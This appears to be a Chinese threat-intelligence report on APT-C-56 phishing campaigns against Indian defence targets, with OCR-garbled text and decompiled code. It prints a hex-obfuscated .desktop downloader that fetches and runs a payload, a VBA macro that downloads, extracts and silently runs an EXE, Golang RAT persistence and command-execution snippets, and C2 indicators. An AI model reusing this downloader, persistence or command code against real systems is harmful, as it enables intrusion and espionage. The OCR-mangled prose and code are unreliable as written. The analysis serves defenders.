mp.weixin.qq.com /s/88VDPssTV3LGIMHgAG5VsQ

Unknown Title

APT-C-56

B
APT-C-56 (EHIEN%) AL, XHRAPT36, ProjectM, C-Major , B—MEERT MSKFEMEBIMAR. RBRME
EEKSEPTENERAFNER , BEHSTRY , K EREME XRAME RS , FHFEAESHUNK
RN B FEBHEA.

—. R A7

ITH , 36054 BN EIN & INB IR % L4 st WindowsMILinux REER L TLERB T , AT ERAA S B Ra#k
MRGR, EWindowsHIRF |, HdiE . ppam A A , BERNBERD TRESEN , ik I XSMEwE
i, BASHGEER ; MELnWENES , EENWANAESANARFALEERG |, BE e thik
A.pdf.desktop /G4 S R AT , NMTERBHENR.

EREENE RIS T , XEERANEERHD REBERLNL : WindowsFATRBERT LKICrimsonRAT ;
LinuxFAMRFT T MERIEIEL (Poseidon) A , HMENE T —FHEEIRAT , ZHEIRATHE AGolang#HTHF% |,
FRAE—FOAREEXRNE. ATIRATENERIENTEATR , FHBHTHASATRE , DRITA A REIPEER
FltE S BIE A,

=, BEESSIT
1. BRI

ERBYET , BRE AL X LinuxFARBEBRER AT desktop3t i , HEMABFERERNHREHITHE
#MDef_Sec_Briefings_Schedule.pdf.desktop , % S FIELINWERRERBATELFHEA |, BT RASHES TEITIF 0K
Y, ANMA TEIFRITEENHERSR , LESH2TA,

FEWindowsFAKETENF , WiEE XA ppamE R AEMEEE A | FBITE ORI 2 Rttt 2 TRE¥SE
&, XL AaFE"Jammu Kashmir Police Letter Dated 31July.ppam” & "Sexual-Harassment-Case-in-Ministry-of-
Water-Board.ppam"%%, %4 FHATESRESE , WHIRIARIDEEAE , HTAEFEIRSE 25 T 2 HISRIFIZIPES
A, ZFF LS B R S REESAEN. e, ARBLSBS RS IR ER , STRES BRI
WREEHIRER A SISBUETNEEEITA.

BABERFEAN TEFUR
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https://mp.weixin.qq.com/s/88VDPssTV3LG9MHgAG5VsQ

APTRIAPESSER
AN
I »
Linux T sH | R T#H
desktop
& R
K | PDF
(=
A
WHE
Windows T T# | ZIP | BES m wE
bpam APTIBSIRSES
2. LinuxBiEads

2.1) EERWTOHT
B BIRS NEEELFI | BEDRERIAR/NT , BUAHF —MELFSUHNT  RUHEFEEMT
MD5  e1b4572ea0780c963043819016f4c7a8

X {4 #F Def_Sec_Briefings_Schedule.pdf.desktop
XK/ 691bytes(691F7T)

WHHIBITHE. desktop LRI W T |, RZEEIS MR Linux £ EINEF AT € LY AR F Bahas i =t |, aTIL
FALInUXRBEF IRIBREE S 4.

lali@kali: -/Desktop
File Actions Edit View Help
~/Desktop

IS

Def_Sec_Br... ~/Desktop

HpP Exec RAREEHITGOTSI, “Exec’BIINAMNT , ¥ EEab,cH\IHHIfRRKIR
SA*https[:]//trmm.space/SoftsCompany/d/27/clipboard.txt” , “firefox” , “https[:}/drive.google.com/file/d/1C-
PH7EEOhv5gjYzKnsz_KGBe48454QGc/view?usp=sharing” , $X JaF|FHcurl A
https[:]//trmm.space/SoftsCompany/d/27/clipboard.txt FEIL4HEIIGR B R , &F
BA“Def_Sec_Briefings_Schedule.pdf-"F3k , XA FRE—ANELFRIBITIH | SREBRF AT HITAR , 384T,

f="/tmp/Def_Sec_Briefings_Schedule.pdf-$(date +%s)";
a="68747470733a2f2f74726d6d2e73706163652f5361667473436f6d70616e792f642f32372f636c6970626f6172642e747874";
b="66697265666f78";
c="68747470733a2f2f64726976652e6766f676c652e636f6d2f66696c652{642f31432d50483745454f687635676a597a4b6e737a5f4b¢
curl -s "$(echo $a|xxd -r -p)" | xxd -r -p > "$f" && chmod +x "$f" && "$f" & "$(echo $b|xxd -r -p)" --new-window "$(echo $c|xxd -r -p)" &

58 RN Y 25 $T Fhhttps:)/drive.google.com/file/d/1C-PH7EEOhvV5gjYzKnsz_KGBe48454QGc/view?
usp=sharing, XE2—HPDF3# , XHPDFXHE—Madidd , HFENB R PENEERHEKISE A AR HIRR
AR,
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Ministry of Defence
0/0 JS(Estt.)

Following Briefings/Visits have been planned for OSD & Defence Secretary designate
as per the attached schedule. Concerned Services/Joint Secretaries/Departments are requested

ok

to kindly organise the proposed briefings/visits.

JS(E), DoD
To,
1. VCOAS 2. C-in-C, ANC 3. DCNS 4. DCIDS(PP&ED), HQIDS
5.DGAFMS 6. DGDE 7. CGDA 8. DGBR 9. DG (Acq)

10. ADG(ICG)  11. JSs of DDP/DMA/DESW/DOD. 2. Brv (P4 < DoC)

Copy to:
1. Sr. PPS to OSD & Defence Secretary designate

2. PPS to Addl. secy, DoD.
%ﬂ |“ivnvahWt

QS8+0 Scad-@.1.
Ministry of Defence

A) Briefings for OSD & Defence Secretary designate:

Sl. No. Topic Concerned Time Location
Department/Wing/Organisation || Slot/ Hrs.
21.08.2025
*1. Palicy & Planning 1S (Armed Forces & Policy) 1030-1130 |OSD Office
Cyber Security & CIRA 1S (Armed Forces & Policy) 1200-1300 | Room 102
MOD Parliament 1S (Parliament) 1600-1700 |OSD Office
22.08.2025

2.2) ERAHKIT

MD5 aff4b4f121aba5046f781fc6aafe8de2
X {4 ¥R Def_Sec_Briefings_Schedule.pdf-
TR/ 7.80MB(8,187,904F%)

Def_Sec_Briefings_Schedule.pdf-2—AGolangFF R WELF [ 152/ , T ETREMN T -

; void __fastcall main_main()

main_main proc near ; CODE XREF: runtime_main+2891p
; main_main+50475
| ; DATA XREF:
cmp rsp, [rl4+16h]
jbe short loc_64F94B
push rbp
mowv rbp, rsp
sub rsp, 18h
call main__initializeEnvironment
nop
call os_executable
call main__isPersistentlLocation
xchg ax, ax
test al, al
jnz short loc_64F92A
nop
call main__installlinuxPersistence
loc_64F92A: ; CODE XREF: main_main+22Tj
lea rax, off_752E70
call runtime_newproc
call main__testServerConnection
nop dword ptr [rax+rax+80h]
call main__mainLoop
add rsp, 18h
pop rbp
retn
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B, XPELFAENARESEENRMN username”, “hostname”,

else

{
v72 = runtime_convTstring(*(vo + 32), *(vo + 48), *(vo + 32),

ad

“pid" AR “ppid{5/E.

aS

3 »
LODHORD( 14) = qword_9BCAAG;
vil = runt1me_mapassxgn_faststr(“\b", qword_SBCAAB, "username", 8, a5, v18, v19, vi@, vil);
*v22 = Bunk_6CEDS;
if...
w22[1] = v23;
os_hostname();
runtime_mapassign_faststr("\b", qword_98CAA@, "hostname”, 8, a5, w25, v26, vi7, vii);

runtime_convTstring(vie,
&unk GCEDS;

&unk 6CEDE;

if.

of1) =
syscall rawSyscallNOError(
73 = runtime_convTé4 (v I‘, w41l
LODHORD(+14) = quord_ 9BCAMD;

= "\b";
= "\b";

1] =
syscall rawSyscallNuError( 1)
/4 = runtime_convT64(vE0,

if

, 3, 35

14, v29, 8, a5, v3@, v31, v32,

= runtime_mapassign_faststr("\b", gword_9BCAA®, "pid", 3, a5

3, a5, v51, v52, w53, V&
15

S p V2B, WV -", v -" v
t = runtime_mapassign_ faststr( \b", qword_9BCAA®, "ppid", 4, a5,

&, 39LL, v&, *(&8 + 1), eLL);

16, w47, vag, vd -;;

1, 118LL, 6LL, eLL, 8LL);

2, v63, v64, v65);

A TS ATHAR P T ERE | A /FIET FJiT/userHomeDir/.config/systemd JR 5 ACE B R R EFFAE , WTTHRERAT

PATCHRRBCERS , FIBTHZX Golang):ﬂmﬁ?&’—fﬁ'}(f«t

vle = al;
v14[1] = a2;
vl4[@] = os_UserHomeDir(al);
vi4[3] = 7LL; I
v14[2] = ".config";
v14[5] = 7LL;
v14[4] = "systemd";
v12 = path_filepath_join(v14, 3, 3, a4
if (a2 »=3)
return runtime_memequal(v16, v12, 3LL);
else
return OLL;

MRIFEFAN , ELEALnuARGERFEES M FHRMTRMES SIS .

= ".config";
= 7LL;

= "systemd";
= 4LL;

= "user";

\ = path_filepath_join(v31@, 4, 4, v26, a5, v32
v278 = 4LL;

os_Mkdirall(v282, 4, 493,

v304 = os_Getenv("USER",

= aLL;

= v1e;
\ = vie;
v59 = runtime_convTstring(v283, v271, v54, v26, a5, v55,
*&,301 = &unk 6CED8@;
*(&v301 + 1) = v59;
v65 = runtime_convTstring(v3ed, v278, v6e, v26, a5, v6l,
*&y302 = &unk_éCEDSB;

82 + 1) = v65;

fmt Sprlntf(
"[Unit]\n"

"Description=System Update Serwvice\n"
"After=network.target\n"
“\n"

"[Service]\n"
"Typezsimple\nﬂ
“ExecStart=%s\n"
"Restart=always\n"
"RestartSec=18\n"
"User=%s\n"

"\

“[Install]\n"
"WantedBy=default.target\n",

SR JRIE IS ST http[:)/solarwindturbine.site:4000/health & % GetiE>K .
IEEEK. MRBIKER , N TRETETEE.

B AN YRALE 54200, AT C2R %525 2 BHE
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time Sleep(-1294967296, 22, a3, ( DWORD)ad

( DWORD)a5, a6, a7

main__testServerConnection(vo, a2, vie, (

int64)a4, (

int64)as,

__intE4 *)main__getCommandsFromServer( a2, a3, (int)as, (int)as, a6
B ANZmiE TR MRS RIRTIEIRAE « oPIT. UFHEL.
v8 = runtime_newproc(&main__pollForCommands_, a2, a3, a4, a5, ab, al);/f <-—----
while ([ 1)
{
v14 = main__testServerConnection(vs, a2, vo, a4, a5, vie, vil, vi2 13);
if ( vi4 )
{
if ( main__isDataCollectionEnabled(vi4, a2, v15, a4, a5, vi6, vi7 8, v19) )
{
= 111;
main__scanFileSystem(&unk_736@C0, 1LL, v2@8, a4, a5, v21,
vE = time_Sleep(-64771072, 1, V25, a4, as, vis, vi7, VIS,

}

else

{

vE = time_Sleep(-64771072, 22, v28, ad, as

H
}

BEPIT : BEMCZREHFTRBMFRRITHIES , RRPIT

while (1)
{
do
W time_Sleep(-1294967296, a2, = ad
while { !main testServerCannectmn( 1\' N
n ver = main gettemmandsFromSeruer(),

: w0

H

28;
7 = (loc_A76FBE) (w25 8);

|_main__executeCommand(v17, a2, v18, vis5, :?.SL v19, v2
+ 15;

a2l = v26 = 1;

XSRS =2, 55—2E Browse” , THAER

completed :

21, v22, v24, v2s[e],

if (w23 || (v24 = *v22, v23 == 1) && *v24 == '/’ )
LODWORD(v23) =
v24 = &unk_7360C0;

¥

V25 = v23;

v4@ = internal_filepathlite Clean(v24, v23

|os_ Realer(_aU v25, 4, &unk_6CED8B, v27,

6,

}
=¥ return main__sendCommandResponse(ald, :

EEITEERBRER.

VAT = vIS
*&v2l
val = v21;

fmt Sprlntf("Ehror reading directory: %v", 27,

H

B 2E ‘Upload” , DIEERIRERI EIESLFNA.

V16 = runtime_mapaccessl_faststr("\b", al4,
if ( *v16 != &unk_6CEDSA )
return 8LL;

v21 = runtime_mapaccessl_faststr("\b", ald, "path”, 4, *=(v16 + 8), v17, 1

if ( *v21 I= &unk_6CEDS® )
r-etur-n eLL;
+ 1) = **(v21 + 8);

if ( *y27 1= &unk_6CED8O )
return OLL;
encoding_base64__ptr_Encoding_DecodeString(

SE=2F Execute” , TIEERBUTIEEMIH 4.

v126[1] = 2LL;
vize[@] = "-c";
v127[1] = v20;
vi27[@] = v21;
LODWORD(v43) = 2;

va4 = os_exec_Command("sh", 2, vi26, 2, 2,
v50 = os_exec__ptr_Cmd_CombinedOutput(v44,

FRULIASh , 35424 T “ENABLE_DATA_COLLECTIONWENURF <. MBAFFFITF , EEE AW ETH%

i,

r*untime_mapaccess1_faststr( "\b", al4, "content",

7, DWORD2(v26), v22

v2@, vi16,
2, 74

filename", B, a5, ab, a7, a8, af

v25[1], v2s(2]);

TS, IR RIRME.
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12, vie, vi7, )]

[(55 = main_setDataCollectionEnabled(1LL, "ENABLE DATA COLLECTION", v21, 7LL, &unk_GCEDSE,
TTI7T = runtime_makemap_small{v00, "ENABLE DATA_COLLECTION™, v0T);

= runtime_mapassign_faststr("\b", v124, "success", 7, &unk_6CED8@, v92, , vo4, );
*y96 = &unk_6CF180;
if...
v96[1] = &unk_7B7BES;
w102 = runtime_mapassign_faststr("\b", v124, "message”, 7, &unk_6CED8B®, v97, s V99, )i
*y102 = &unk_6CEDBY;
if

v182[1] = &off_7AC1A8;
return "\b";

4 = main__setDataCollectionEnabled(@LL, "DISABLE_DATA_COLLECTION", v22, 7LL, &unk_6CED8@, w23, v1G, v17, vid); I
runtime_makemap_small{vZ4, "DISAELE_DATA_COLLECTION™, 'R
@ = runtime_mapassign_faststr("\b", v122, "success", 7, &unk_6CED8®, s V27, v28, I

XHHE  BEFINERERSIRRETEE , AR BAEIRRE | N EEFES
Atpdf. “doc’, “xls”. “ppt’. “ixt’. “zip”. “rar@3C4E.

v25 = v16;
v18 = file_typelist; /7 FRUEERIHER, pdf.doc.xls.ppt.txt.zip.rar
for ( j = qword_9B1EC8; | > @; --j )
{

if ( vas[1] == vi16 )

{

= j;
if ( ruﬁt;me_memequal(- 17, ®vi8, vi16) )

{
main__handleTargetFile(v31,
return GLL;

2, v2@, ad, v3l, v21, v22, v23, v24);

}‘ N t = main__processAndUpload(al, a2, , ad, 5 3 o N s
vig =
j 265 = -
16 = va5; v3i4 = vie; ’
P [8] = &unk_6CEDS0;
8 4= 2; v33[1] = runtime_convTstring(v37, a2, v12, ad, as, . N , v16)
} *&u3a = *(v32 + B);
return BLL; *(&v34 + 1) = al;
21 = fmt_Sprintf("Upload failed for %s: %v", 24, v33, 2, 2, , vi8,

3. Windows I ii#Eas
3.1) EEBFSN
Hep— A ppamXALHEAE SN TR

MD5 5a25a5fc22f2adfe42ac493fd3757f6f

SCHAR/N 22.34KB(22,879bytes)

XM ppam

X%  Jammu Kashmir Police Letter Dated 03 August 2025.ppam

ZRENHR T EE AR |, FTRZXHFAFEPITE | B &R AProgressFormfA PE AR R EIEHE SR | BRER
R (#N"Loading file is opening...") PABMEA &S , SR TEFHEFIE SR,

sub (=5 TEeTT]
Dim frm As Cbject
Set frm = VBA.UserForms.Add("ProgressForm™) ' Ensure your UserForm is named "ProgressForm"
frm.show vbModeless

frm.SetStatusText "Loading file is cpening..."
frm.UpdateProgress 0

If Noz[ DownloadAndOpenPPTHithProgress (frm) IThen
MagBox "Failed to download or open PowerPoint file.", wbCritical
' Continue to next step instead of exiting

End If

If Notl DownloadAndExecute Framzip(}l Then
MsgBox "Failed to download or open file", vbExclamation
End If

frm.8etStatusText "Process completed”
frm.UpdateProgress 100

Sleep 1000
Cleanup:

Unload f£rm
End Sub

HFDownloadAndOpenPPTWithProgresseR¥i £ ELhseE WNELRIZURL (20
https[:]//trmm.space/SoftsCompany/d/23/Jammu-and-Kashmir-Police-Letter-Targeting-lllegal-and-Terror-Linked-
Persons) FEHPPTXIHZE IR B3R , BidPowerPoint.ApplicationZB{4$TFF,
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Function Dow
On Error GoTo ErrorHandler
Dim fso is Object
Set fso = CreateGbject("Scripting.FileSyatemCbject”)

8 (frm As Object) As Boolean

Dim pptUrl As String, savePath As String
PPEUrl = "https://trmm.space/SoftsCompany/d/23/Jammu-and-Rashmir-Police-Letter-Targeting-Illegal-and-Terror-Linked-Persona"
savePath = Enwiron ("TEME") & "\" & CreateRandomName() & ".pptx"

frm.SetStatusText "Loading file..."
If Not DownloadFileWithProgress(pptUrl, savePath, £so, £mm, 0, 80¢) Then Exit Function

frm.SetsStatusText "Opening PowerPoint..."
frm.UpdateProgress 30

Dim pptApp As Object

Set pptApp = CreateObject ("FowezrPoint.Application”)
PPtApp.Visible = True

PPtApp.Presentations.Open savePath

BownloadindOpenEPTHithErograss = True
Exit Function

ErrorBandler:
DewnloadandOpenPPTWithProgress = False
End Punetisn

FTFFHGFAESCAGAN T AR

Jammu & Kashmir Police
Letter: Targeting Illegal
and Terror-Linked
Persons

This confidential police briefing outlines the J&K Police Department's
coordinated strategy to combat terror networks and illegal activities
threatening regional stability and national security.

DownloadAndExecuteFromZipeRi#ZhEEMN F—URL (Zihttps[:]//trmm.space/SoftsCompany/d/25/ProxifierSetup ) F
LRI (FESA"Defencelndia2025") WIZIPSLHE , FIFAWINRAREREMEE (X -p -y -ibck&%) ZIEETEFR , &
JEIBT ShellfEHRNZ1TEXES 4,
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Function DaunlnadnndzxacutaE:unziﬂ() L= Boolean
On Error GoTo ErrorHandler

Dim fso As Object

Set fso = CreateObject ("Scripting.FileSystemObject™)

Dim zipUrl As String, zipPath As String, targetFolder As String
Dim exePath As String
Dim retryCount As Integer

targetFolder = Environ("TEMP") & "\" & CreateRandomName() & "\"
If Not CreateFolder (targetFolder, fso) Then Exit Function
zipUrl = "https://txmm.space/ScftsCompany/d/25/ProxifiexSetup”
zipPath = Environ ("TEMP") & "\" & CreateRandomName() & ".zip"

If Not DownloadFile (zipUrl, zipPath, £f£so) Then Exit Function

For retryCount = 1 To 3
On Error Resume Next
DeleteallFiles targetFolder, fso
[unzipwithWinRAR zipPath, targetFolder, "DefenceIndia2025"
Sleep 3000
exePath = FindFirstExeInFolder (targetFolder, fso)
If exePath <> "" Then Exit For
On Error GoTo 0
Next

If exePath = "" Then
MsgBox "Failed to extract ZIP after 3 attempts", vbExclamation
Exit Function

End If

On Error Resume Next

|shell exerath, vbHide |

If Err.Number <> 0 Then
MsgBox "Failed to execute file", vbExclamation
On Error GoTo 0
Exit Function

End If

On Error GoTo 0

DeleteFile zipPath, fso

3.2) EEAGST
BEERAT FRNPEHERAT :

MD5 ab6022bde19d8495c56812ef5d1c6186
XL FR ProxifierSetup.exe
LA/ 27.6MB(28,947,9687FT)

AR Golang /5 IRERF | BT/RE o NELES BT IREC2IR 52 tib A0 & R 1Pyt

main_dummyResourceDataPool = vE7;
v runtime mapmltnonp(),

guredDomain = main_getUltraConfiguredDomain(v89);// ¢===== JEHITRTEFERC2  "sinjita.store:8080"
qwnrd 1089968 = 8x100000LL;
if...
main_serverConfiguration = UltraCor

s = os_Getenv(&unk_ 7555]A[256], 17,
qword_1CB9918 = 17LL;
if.
quurd 1CB9918 = w95 |

t = main getUltraCanf1guredBa:kupIP§(); [T T

BAERHE  SATHRRENUAMT L ET R AL T AT RS , TRRNEIMIRE, DR, RIBHREHGN.

while ( &retaddr <= *(v@ + 16) )
runtime_morestack_noctxt();

v4 = main_detectVirtualEnvironment();

v3 = main_detectSandboxEnvironment();

vl = main_detectDebuggingEnvironment();

if (lva || w3 )
vl = @;

return (n-l & main_detectTimingBasedAnalysis());

PR , EARIYATRE , RS KBEATE | SERTEREZE | aRMEZEXRTSY , RHL THTEE
AT,
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v12 ={main_detectRuntimeAnalysis( vil); ]
if ( viZ )
{
main_executeCountermeasures();
= fmt_Fprintf(
go_itab__os_File_io_Writer,

os_Stdout,
"[ULTRA-DEBUG] Runtime analysis\detected, executing countermeasures but continuing...\n",
85, U R
o, v19 = time_Now();
e, v20 = vb;
0, main_performComplexMathOperation(v19, a2, vé, a4, ai, 7, v8, v9, vie);
13,  if ( time_Since(v19, a2, v20, ad, a5, vil, vi2, vl ) > 5000000000LL )
vi4, return 1LL;
v15);  if ( math_rand_Intn(10@@, =2, 705832704, a4, a5, v15) < 5 )
} return 1LL;

return math_rand_Intn(1008, 22, v16, a4, a5, v17) < 10;

ERIMERNZ 5, BLRTHEHFE HE]%ProgramData% B3R T , ARRERGHIEEENE , ZEKHERLEAE
SOFTWARE\\Microsoft\Windows\\CurrentVersion\RunjE i} &+ *Iﬂqﬂﬂgo

) = main_copyToUltraProgramData(v18); // EH T HBProgramDataBF

2[0] &str1ngﬁ@

main applysteathUltr'aAttmbutes( v15, v29, 53, @, v3@, v31, v32, v33, v63);// FEll+s +hE1E
v3d = os_Stdout;
v35 = 57;

LODWORD(v36) = ©;
fmt_Fprintf(
go_itab__os_File_io_Writer_interface,
os_Stdout,
"[ULTRA-PERSIST] Setting up ultra-registry persistence...\n",

4 = v68:

NEY ; .
main_addToUltraRegistry(v70, v68, .d-, 47 &v V5@, v51, v52, v53, v66, v67);// BAEMEruntit
time_Sleep(500000000, vGE, vSd, 47, &v7 v55, «=-);

EEBEL TCPYNUERC2ARF asitbbit.

main__UltraConnectionObfuscator_executeUltraPreConnectionObfuscation(v128);
v39 = main__UltraConnectionObfuscator_establishUltraPolymorphicConnection(// iEHC2 server
v128,
UltraFullServerAddress,
vi2a,
51,
"ultraNetworkModule",

v106,
v112);

RIS EEY 2 EAREEE |, #l2nUitraClientiD, hostname, username, NEREIXMGEIR. AMIP, HIRG;
BSER  BHEHNBA XA RS T

os_hostname(v13); // hostname

H

raUsername = main getcurrentultraUserneme(-i
main mnhbgvyxcvbnm(: r
= main getUltraSystemLanguage(

5, v16, v17, v18);// username

ltraUsername, a2,

stemLan 28);// antivirus

= &string_8;
= &unk_7CCE30;
= os_Stdout;
= fmt Fprmtln(go itab__os_File_io Wrxter _interface, os_Stdout, v147, 1, 1, vi0, v3l, 2, v33);

1 1icIP = main_getUltraPublicIP(v34, v23, v35, 1LL, 1);// publchp
f&tinrintk( ’

go_itab__os_File_io_Writer_interface,

os_Stdout,

"[ULTRA-DATA] Sending ultra-client info: ID=%s, Location=%s, System=%s\n",

70,

15, va6, va7, va8);// AESHIEHE

main_encryptUltraDecoyData(v75, v19, v7@

FHUTC2IRF H T RAHES , —HIIF=4454 , HRIRLIST". “UPLOAD”, “DOWNLOAD", LISTH54 AT 5%
)‘(#HZE ; UPLOAD}E4 L¢3 #H=E ; DOWNLOADIES TS HEE.
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= "ultra";
main_writeUltraLogEntry(&unk_75153A, 4LL, &unk_757ED®, 22, "ultra", 21LL);

= "TSIL'; // LIST
2 = runtime_slicebytetostring(&v101, &v105, 4, 22, "ultra", N R s v21);
) = &v165;
118 = v22;
qmemcpy (w104, "UPLOAD", sizeof(vi©4)); // UPLOAD
114 = runtime_slicebytetostring(&vi0e, vie4, 6, 22, "ultra", N y N 6);
= vle4;
)2 = 'DAOLNWOD' ; // DOWNLOAD
= &v103;
= runtime_slicebytetostring(&v99, &v103, 8, 22, "ultra", N N 9, 1);

DOWNLOADFEA W e IS4 ZEEL G pdf”, “.doc”, “.docx”, “xIs”, “xIsx”, “txt’. “.zip”. “rar"fl“.7z",

) = "fdp."';
I = runtime_slicebytetostring(&v131, &v132, 4, &v135, v4, , V2B, v29, v30);
136[1] = &v132;
6[e] = v31;
8 = 'cod.';
v36 = runtime_slicebytetostring(&v129, &v130, 4, &v135, v4, R R , );
136[3] = &v130;
136[2] = v36;
qmemcpy (v128, ".docx", sizeof(v128));
1 = runtime_slicebytetostring(&v127, 28, 5, &v135, va4, B ) ) 1);
[5] = 128;
v136[4] = v41l;
26 = 'slx.';
46 = runtime_slicebytetostring(&v
v136[7] = &v126;
136[6] = v46;
gmemcpy (v124, ".xlsx", sizeof(v124));
v51 = runtime_slicebytetostring(&v123, v124, 5, &v135, v4, B ) 3 );

I
IS
-
2
-

v136[9] = v124;
136[8] = v51;
122 = 'tpp.';
6 = runtime_slicebytetostring(&v121, &v122, 4, &v135, v4, N , 4, );
6[11] = &v122;

v136[10] = v56;
gmemcpy (v12€, ".pptx", sizeof(v120));
61 = runtime_slicebytetostring(&v119, v120, 5, &v135, v4, R , , v68);
[13] = vi12@;
vi36[12] = 1;
118 = "txt.’;
=, BEEH

BEARKETENRAX S EIITIRANN , BATAAWERTIEN TS BEREFALENTTP , AARMANT
JUAmE :

1. AR Windows_EH AR S BIEE AR EREERAMAMMEN] , HEBEINREER KR ppam
SCRMNERSFERPES M, RRAXNEMPE R N T3 , ZRIKPE M REET IRAXNRIITRR , KR
KEVNG  MAHEMERT B , PLEEgER,

2. R Linux MMERMEE RS EHRRE AR SIRBERALMI2] , R0 pdf.desktop /F4F%E S A
PIT , FFEKdesktopILAFTNAELML , FBE TEFFFTIFFEHUR THRITELFEERAE , RERZMIRINELF
BARLMEHRXA. BRitzsh , #ERT ARIER TRESEMENE |, XURMEERHIREARNIEIES
—.

3. BEAEEALEAR I TP 3T WindowsFILinuxX U FE-& BT , £ FIAMEIS4S (trmm.space) TEHIFEE
SRR NER , BT ANKRERAHIFEAGolangdmi¥ , RIBEMAE— A , FRIMEBIRM RN EE
N X—FETEZRALN N F BT , HAESFREEGP Y £ ) E A GolangdmiFAIE .

4. WHEERONERNBTUR S |, BEATAHA LEIEAEE | B & ZARLTER.
RE, HATEHIDMEIAPT-C-56 (BHHENE) AR,

B

APT-C-56 (BHAER%) HLURFERETENENSEEREE , HRERB[REARY FEHE , Bz CrimsonRAT,
PoseidonZif4, DISGOMOJIALELFMEEAN , WEae B = WindowsSLinuxEL T AAR , BBEAHFFESE
REH , ANRPRBLRALBANEFT NN EEAFEBESN , MHHERNENMERENERBE.
ERBHETHF | ZALXANT A MRB TR , R4S IWindowsFILinux REE & 2B BEATIEH 53 , E1S
EEMR , WAKETHBENRFIUAS T AMNTEERERF | A& TENTIEEHTEEER | BRI FiEk. FRAM
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WiHReN, RTORFEEMRERGINET |, APBEISRER AR RIS EES , BRMERITITRXH , BN

RSB R OV RSB SEUBERIMNYE | ERRTTHRERNRLHRK.

ffi% 10C

MD5(Linux)
e1b4572ea0780c963043819016f4c7a8
aff4b4f121aba5046f781fc6aafe8de2
10b7139952e3daae8f9d7ee407696ccf
311f9894297fb1624a2c99ac5c8d8abf
1ded71930d997de43a68e098d232e2e5
3d272caf8bd0342550d65a425ef86f4d
a484f85d132609a4a6b5ed65ece7d331

€d923d191cc1f60b189b8356fdbf64d8

MD5(Windows)
5a25a5fc22f2adfe42ac493fd3757f6f
ab6022bde19d8495c56812ef5d1c6186
55c020ba4045b92622bf0e0a43b3cadd
7405ce819ef85fd219c6a204b48cdae
9fceef2d082a1df7779f5a09311c9a76

abd95f897f392b19873d5fb0c7df8316

c&c

sinjita[.]store
modindia.serveminecraft[.Jnet
45.155.54[.128:8080
101.99.94[.]109:8080

45.155.54[.]122:8080

URL
https[:]//trmm[.]space/SoftsCompany/d/27/clipboard.txt
http[:)//solarwindturbine[.]site:4000/commands
https[:]//trmm[.]space/SoftsCompany/d/25/ProxifierSetup
https[:]//securestore[.]Jcv/ghg/Mt_dated_29.txt

http[:]//modgovindia[.]space:4000/commands

https[:])//drive.google[.Jcom/uc?export=download&id=1Umc8DCCFjoclts_tndD1zyAJgDilAW7p

https[:]//drive.google[.]Jcom/uc?export=download&id=1VQQiTt78N3KpYJzVbE-95ulLnO84Wz_-

http[:]//seemysitelive[.]store:8080/ws
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https[:]//filestore[.]space/SoftsCompany/d/76/CCleaner

&%

[1]https://mp.weixin.qq.com/s/8zpPPI6JIXqadQEpiIKC5GQ

[2]https://mp.weixin.qq.com/s/FT7xvyGdk-WaB9nfYWPMUg

HA A

TEAM INTRODUCTION
360 BT FThe

360 B Fein 2 360M R L ERMIL DRENSTIFHI ] , RSCORARRETHRAM , TIETSRAMNEI. B
W, REFHFR , GELITENRLCHRRS, NE, BEFARFL R FMAM0dayEH L E , MFEFLNE
REAPTHLAMERITE , MISAPSMATTZIATT |, A360REEZR ML R LIRHE N,

LATNB T REFAEREERNEARWEREE | BHAR BRI,
WE TARS > AL > WKL HERIERERAE

9:41 all ¥ &=

ek
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